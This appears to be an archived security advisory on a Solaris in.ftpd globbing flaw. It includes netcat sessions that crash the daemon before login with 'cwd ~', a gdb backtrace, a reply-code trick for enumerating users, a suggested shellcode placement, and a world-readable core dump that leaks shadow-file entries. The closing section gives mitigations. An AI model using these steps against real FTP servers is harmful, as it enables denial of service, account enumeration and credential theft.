COMMAND
ftpd
SYSTEMS AFFECTED
Solaris 2.6, 7, 8
PROBLEM
Johnny Cyberpunk found following. He has tested these globbing
vulnerability on two different SPARC Solaris Machines. He started
Netcat from a Win2K box to Port 21:
C:\>nc 10.64.224.3 21
220 gsmms0 FTP server (SunOS 5.6) ready.
cwd ~
530 Please login with USER and PASS.
C:\>
As you can see. Without being logged on, he's landing on the
prompt again after putting out the cwd ~ command. Then he
connected via SSH to my Solaris box and saw a fresh CORE File
created in / .
Then he started : gdb /usr/sbin/in.ftpd /core which give him the
following information:
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.7"...
(no debugging symbols found)...
Core was generated by `in.ftpd'.
Program terminated with signal 11, Segmentation Fault.
Reading symbols from /usr/lib/libcmd.so.1...(no debugging symbols found)...
done.
Reading symbols from /usr/lib/libsocket.so.1...(no debugging symbols
found)...
done.
Reading symbols from /usr/lib/libnsl.so.1...(no debugging symbols found)...
done.
Reading symbols from /usr/lib/libbsm.so.1...(no debugging symbols found)...
done.
Reading symbols from /usr/lib/libpam.so.1...(no debugging symbols found)...
done.
Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols
found)...done.
Reading symbols from /usr/lib/libc.so.1...(no debugging symbols
found)...done.
Reading symbols from /usr/lib/libmp.so.2...(no debugging symbols
found)...done.
Reading symbols from /usr/platform/SUNW,Ultra-250/lib/libc_psr.so.1...
(no debugging symbols found)...done.
#0 0xff1b6dd0 in strcpy () from /usr/lib/libc.so.1
(gdb) bt
#0 0xff1b6dd0 in strcpy () from /usr/lib/libc.so.1
#1 0x1648c in glob ()
#2 0x162e8 in glob ()
#3 0x161d4 in glob ()
#4 0x19884 in yyparse ()
#5 0x13a90 in main ()
(gdb)
As you see a segment fault has happened. After that Johnny typed
in the bt command to get more info about the segment fault. In
offset 0xff1b6dd0 the strcpy() command failed and produced the
segment fault.
This problem could allow an attacker to execute code on the stack
and gain access to the system. Another nice effect is the
following:
C:\>nc 10.64.224.3 21
220 gsmms0 FTP server (SunOS 5.6) ready.
cwd ~netadm
530 Please login with USER and PASS.
cwd ~xyz
530 Please login with USER and PASS.
550 Unknown user name after ~
As you see cwd ~netadm just produces a normal 530 message, cos
this user exists on the system. The user xyz user doesn't exist
and prints out a 550 Unknown user name after ~.
This could being used to brute force existing users on the remote
system.
You can do this:
CWD ~/fffffffffffffffffffffff.. (etc)
One could fit about 390 bytes after the ~/ when tried it against
Solaris 7. Also works with MKD RMD
It is also possible to build an exploit-package that looks like
this:
cwd ~?thenextfollowingtextdoesntmatterandcouldpossiblybeashellcode
as you see we just inserted another special character after the ~.
List of all commands that are affected:
RETR DELE MKD STOR CWD APPE RNFR XCWD LIST
XRMD STOU NLST
It is possible that local user can get the part of shadow file in
Solaris 2.6 since the core file is world readable.
[root@ /usr/sbin]> telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 sun26 FTP server (SunOS 5.6) ready.
user warning3
331 Password required for warning3. <-- a valid username
pass blahblah <--- a wrong password
530 Login incorrect.
CWD ~
530 Please login with USER and PASS.
Connection closed by foreign host.
[root@ /usr/sbin]> ls -l /core
-rw-r--r-- 1 root root 284304 Apr 16 10:20 /core
[root@ /usr/sbin]> strings /core|more
[...snip...]
lp:NP:6445::::::
P:64
eH::::
uucp:NP:6445:::
[...snip...]
SOLUTION
Without the '-d' option given to in.ftpd, all you get is the inetd
message and the in.ftpd connection message. Most people would
never see anything.
This fact that in.ftpd crashes with SIGSEGV does not necessarily
indicate that it is a remotely exploitable vulnerability. In this
case, it is just a simple null-pointer dereference. But, as Sun's
binary code licence forbids disassembly, we can only strongly
believe or suspect that is a register-indirect load where that
register's value is 0x0. We suspect that it is caused by glob()
looking for the home directory of a NULL username. So, this is
not a remotely exploitable vulnerability, it can simply be used
to crash the remote in.ftpd.
However, this can present other problems, so you should ensure
that core dumps are disabled for inetd (add "ulimit -c 0" before
starting inetd in /etc/init.d/inetsvc) or at least that they are
not world readable (add a umask line); they are world readable by
default under 2.6.